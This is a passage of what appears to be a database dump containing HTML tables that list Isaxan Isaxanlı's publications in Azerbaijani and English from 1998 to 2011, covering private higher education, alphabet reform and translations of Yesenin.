width=\"217\"><p>Bakı, Xəzər Universitəsi Nəşriyyatı</p></td><td width=\"53\"><p>sentyabr 2010</p></td><td width=\"43\"><p>372 Səh.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>2010-2011-ci il tələbə qəbulu rəqəmlərdə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 288</p></td><td width=\"53\"><p>Sentyabr 2010</p></td><td width=\"43\"><p>Səh.18.&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Xəzər universitəsi tibb fakültəsi: Dünən və bu gün</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 290</p></td><td width=\"53\"><p>Noyabr, 2010</p></td><td width=\"43\"><p>Səh.41-47.&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Səmimiyyət heykəli – Nəriman Həsənzadə - 80</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 8;</p><p>Xəzər-Xəbər, (curnal)&nbsp; № 294</p></td><td width=\"53\"><p>fevral 2011-ci il;</p></td><td width=\"43\"><p>Mart, 2011</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Klassik rus poeziyasından nümunələr İsaxanın tərcüməsində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzə Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>Bakı, 2011</p></td><td width=\"43\"><p>96 Səh.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Bakı Yeseninin vəsfində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Azərbaycan dünya ədəbiyyatında”. Beynəlxalq simpoziumun materialları Bakı, Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>27-29 may 2011-ci il</p></td><td width=\"43\"><p>Səh.22-22.</p><div><br></div></td></tr></tbody></table></div></div>  <br></div>'),(902,595,'en',' Isaxan Isaxanlı',' Isaxan Isaxanlı','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"186\"><p><strong>Title of publication</strong></p></td><td width=\"114\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"89\"><p><strong>All Authors</strong></p></td><td width=\"217\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong></p></td><td width=\"53\"><p><strong>Year Published</strong></p></td><td width=\"43\"><p><strong>Vol. &amp; Pages</strong></p></td></tr><tr><td width=\"186\"><p>Dövlətlə özəl təhsìl ara­sında münasìbətdə DAEK-ìn (Dövlət Alì Ekspert komìssìyası) rolu</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tətqiqatçların respublika elmi konfrans. II cild, Azərbaycan Respublikası Təhsil Nazirliyi</p><p><strong>&nbsp;</strong></p></td><td width=\"53\"><p>11-12 fevral, 1998-ci il</p></td><td width=\"43\"><p>Səh 59-61</p></td></tr><tr><td width=\"186\"><p>Təhsilin seçmə prinsipləri</p></td><td width=\"114\"><p>Konfrans materìallarí</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Qafqaz: tarix, müasirlik və geosiyasi perspektivlər” konfransı, Bakı Dövlət Universiteti</p></td><td width=\"53\"><p>15 aprel 1998</p></td><td width=\"43\"><p>Səh.230-232</p></td></tr><tr><td width=\"186\"><p>Azərbaycan ali təhsilində süzgəc prosesi</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı&nbsp; İnstitutu. Bakı</p></td><td width=\"53\"><p>1998</p></td><td width=\"43\"><p>4-cü buraxılış,Səh.70-77.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl təhsilin yarnma zəruriliyi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tədqiqatçıların respublika elmi konfransı, II cild</p><p>Azərbaycan Respublikası Təhsil Nazirliyi.</p></td><td width=\"53\"><p>23-24 fevral 1999-cu il</p></td><td width=\"43\"><p>Səh.101-102</p></td></tr><tr><td width=\"186\"><p>1918-1920-ci illərdə Azərbaycanda təhsilinin inkişafına dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və Azərbaycan EA-nın birgə keçirdiyi Gənc Alim­lərin Azərbaycan Xalq Cümhuriyyətinin 80 illik yubileyinə həsr edilmiş ümumrespublika elmi konfransí</p><p>Bakı– Elm</p></td><td width=\"53\"><p>1999</p></td><td width=\"43\"><p>Səh.73-74</p></td></tr><tr><td width=\"186\"><p>Factors Related the Selec­tion process at the state and private Univer­sities.</p><p>T&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Positive and negative of &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sides&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; centralization</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani Studies, Volume 2, number 2. Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>191999</p><p>&nbsp;</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Bəlkə də Los-Ancelesin ən gözəl yeri elə UCLA-dir.</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-xəbər, № 64, -cu il. Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>3 aprel 1999</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Özəl alì məktəblərdə kadr hazírlığının bəzi xüsusìyyətlərì</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Humanitar elmlərin öyrənilməsinin aktual problem­ləri, ali məktəblərarası elmi, səh.37-39.. Azərbaycan Respub­likası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı İnstitutu. Bakı-mütərcim.</p><p>&nbsp;</p></td><td width=\"53\"><p>1-2 mart 2000-ci il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali təhsìlìn bə`zi xüsusìyyətləri</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə, II buraxılış.</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel,&nbsp; 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.173-182</p></td></tr><tr><td width=\"186\"><p>Özəl alì məktəblərdə məzunluq dìplomlarının verìlməsinə dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematik məcmuə, II buraxı­lış</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel, 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.182-184</p></td></tr><tr><td width=\"186\"><p>Basis and continuation of Private education in Azerbaijan</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>6<sup>th</sup>&nbsp;Nordic Baltic Conference in Regional Science “Nordic-Baltic Sea Region on the eve of the 21<sup>st</sup>&nbsp;Century”; Riga, Latvia.</p><p>&nbsp;</p></td><td width=\"53\"><p>October&nbsp; 4-7, 2000</p></td><td width=\"43\"><p>page 55-58</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali təhsilin yaranması və inkişaf yolları &nbsp;haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>AMEA Fəlsəfə və siyasi-hüquq tədqiqatlar institutu, “Politologiya” şöbəsi sosial-siyasi problemlər ( elmi məqalələr toplusu), 9-cu buraxılış</p></td><td width=\"53\"><p>Bakı- 2003</p></td><td width=\"43\"><p>Səh.32-36</p></td></tr><tr><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan,</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 14-72</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulu haqqında</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №3(15)</p></td><td width=\"53\"><p>Bakı-2003</p></td><td width=\"43\"><p>Səh.37-40.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda tələbələrə və özəl ali məktəblərə dövlət yardım proqramları haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; tezisləri</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Gənclər, İdman və Turizm Nazirliyi, Bakı</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.58-60</p></td></tr><tr><td width=\"186\"><p>Tələbələrə və özəl ali məktəblərə dövlət yardım proqramlarına dünya təcrübəsi müstəvisindən baxış</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>« Qloballaşma və Azərbaycanda təhsilin aktual problemləri». Beynəlxalq elmi-praktik konfrans. &nbsp;Azərbaycan Beynəlxalq Universiteti.</p><p>«Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi, 2003</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.124-126</p></td></tr><tr><td width=\"186\"><p>K.D. Uşinski təlim-tərbiyə prosesində&nbsp; əyanilik,</p><p>sistemlilik və əməyin rolu haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>K. D. Uşinskinin anadan olmasının 180 illiyinə həsr edilmiş elmi konfrans materialı</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Beynəlxalq Universiteti. «Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi</p></td><td width=\"53\"><p>24 dekabr 2004-cü il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>«Tələbələrin biliyinin qiymətləndirilməsinin çoxballı sistemi haqqında əsasnamə»yə dair bəzi mülahizələr</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №4 (20). Bakı</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.3-6</p></td></tr><tr><td width=\"186\"><p>Akademik&nbsp; Hüseyn &nbsp;Əhmədov haqqında.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Bakı, Təhsil</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.197</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulunun bəzi aspektləri</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 3-61</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>«Təhsil» cəmiyyəti, «Bilgi» dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik curnal, № 3-4, Bakı</p></td><td width=\"53\"><p>2005</p></td><td width=\"43\"><p>Səh.38-49.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid. Tarixə qısa baxış və Fərhad Ağazadə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) №№ 197, 198, 199,&nbsp; Xəzər Universitəsi</p></td><td width=\"53\"><p>noyabr, dekabr 2005</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Azərbaycan Yeni Türk Əlifba Komitəsi və savadsızlığın ləğv edilməsi kampaniyası</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) № 218 , Xəzər Universitəsi</p></td><td width=\"53\"><p>15 noyabr 2006</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeni tədris iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 253, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>15 sentyabr 2008</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>25 məzunluq təntənəsi: Fərəhli nəticələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 255, Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 oktyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Məzunlarımız rəqəmlərdə: 31-dən 1342-yə qədər.Xəzər</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəbər, (curnal)&nbsp; № 257, 15 Xəzər Universitəsi.</p></td><td width=\"53\"><p>noyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Məzunlarımız arasında əcnəbilərin yeri</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 259, Xəzər Universitəsi.</p></td><td width=\"53\"><p>15 dekabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yüksək səviyyəli kadrların işə cəlb edilməsinin bəzi məqamları.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 262 Xəzər Universitəsi</p></td><td width=\"53\"><p>31 yanvar 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Əcnəbi tələbələrin cəlb edilməsi: dünyada gedən proseslər.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 264, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>28 fevral 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Hər şeyi unutduran təbəssüm.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 265, Xəzər Universitəsi</p></td><td width=\"53\"><p>15 mart 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Qəbul imtahanlarında topladığı bal tələbənin səviyyəsi haqqında ilkin fikir yürütmək üçün əsas mənbədir.</p></td><td width=\"114\"><p>Lamiyə Namazova&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 267,. Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 aprel 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Biliyin qiymətləndirilməsinin 100 ballıq sistemi haqqında bəzi mülahizələr.</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 10, numbers 3-4; Volume 11, numbers 1-4; Volume 12, numbers 1-2; The international symposium “Modern developmental trends and Turkic world”,</p></td><td width=\"53\"><p>29-31 may, 2009</p></td><td width=\"43\"><p>p. 199-203</p></td></tr><tr><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Sergey Yesenin</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 270 Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>31 may 2009.</p></td><td width=\"43\"><p>Səh.16-26. 31 may 2009</p></td></tr><tr><td width=\"186\"><p>Anama məktub, Axşam, “İran nəğmələri”ndən.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 270. Xəzər Universitəsi</p></td><td width=\"53\"><p>31 may 2009</p></td><td width=\"43\"><p>Səh.27-28</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 09 (60)</p></td><td width=\"53\"><p>18 iyul 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 10 (61),</p></td><td width=\"53\"><p>4 sentyabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeni dərs iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeseninin vətənində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>Səh.22-26.</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; 27. Xəzər Universitəsi</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>№ 273 Səh.</p></td></tr><tr><td width=\"186\"><p>Mən onu necə görmüşəm. (Serqey Yesenin haqqında xatirələrim)</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>«Proşay,&nbsp; Baku!»</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.14-19</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.19</p></td></tr><tr><td width=\"186\"><p>80 yaşlı cavan aşıq - Aslan Kosalı</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Avropa” nəşriyyatı.&nbsp; Bakı.</p></td><td width=\"53\"><p>2009</p></td><td width=\"43\"><p>Səh.170-172</p></td></tr><tr><td width=\"186\"><p>Tələbələr tələbələrin gözü və sözü ilə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 277</p></td><td width=\"53\"><p>15 noyabr 2009</p></td><td width=\"43\"><p>Səh.10-13.</p></td></tr><tr><td width=\"186\"><p>«Do svidanğə, druq moy, do svidanğə».</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 280</p></td><td width=\"53\"><p>31 dekabr 2009</p></td><td width=\"43\"><p>Səh.12-18</p></td></tr><tr><td width=\"186\"><p>Kİm deyir ki, əvəzedilməz insan yoxdur?</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər (curnal), aylıq dərgi, № 282</p></td><td width=\"53\"><p>fevral 2010</p></td><td width=\"43\"><p>Səh.14-15</p></td></tr><tr><td width=\"186\"><p>Bir şeirin iki tərcüməsi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Yeni dövr” qəzeti, № 49 (347)</p></td><td width=\"53\"><p>19 mart 2010-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yesenindən tərcümələrə dair: Bir şeirin üç tərcüməsi</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim fakt” qəzeti, № 04 (06)</p></td><td width=\"53\"><p>1-8 aprel 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Bir “metro səyahətim”dən doğan təəssüratlarım</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Xəzər Xəbər” jurnalı, aylıq dərgi, № 285</p></td><td width=\"53\"><p>may, 2010</p></td><td width=\"43\"><p>Səh.17-18.</p></td></tr><tr><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid (Fərhad Ağazadənin anadan olmasının 130 illiyinə həsr edilir)</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 27</p></td><td width=\"53\"><p>26 iyun 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Serqey Yesenin</p></td><td width=\"114\"><p>Kitab</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Bakı, Xəzər Universitəsi Nəşriyyatı</p></td><td width=\"53\"><p>sentyabr 2010</p></td><td width=\"43\"><p>372 Səh.</p></td></tr><tr><td width=\"186\"><p>2010-2011-ci il tələbə qəbulu rəqəmlərdə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 288</p></td><td width=\"53\"><p>Sentyabr 2010</p></td><td width=\"43\"><p>Səh.18.&nbsp;</p></td></tr><tr><td width=\"186\"><p>Xəzər universitəsi tibb fakültəsi: Dünən və bu gün</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 290</p></td><td width=\"53\"><p>Noyabr, 2010</p></td><td width=\"43\"><p>Səh.41-47.&nbsp;</p></td></tr><tr><td width=\"186\"><p>Səmimiyyət heykəli – Nəriman Həsənzadə - 80</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 8;</p><p>Xəzər-Xəbər, (curnal)&nbsp; № 294</p></td><td width=\"53\"><p>fevral 2011-ci il;</p></td><td width=\"43\"><p>Mart, 2011</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından nümunələr İsaxanın tərcüməsində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzə Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>Bakı, 2011</p></td><td width=\"43\"><p>96 Səh.</p></td></tr><tr><td width=\"186\"><p>Bakı Yeseninin vəsfində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Azərbaycan dünya ədəbiyyatında”. Beynəlxalq simpoziumun materialları Bakı, Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>27-29 may 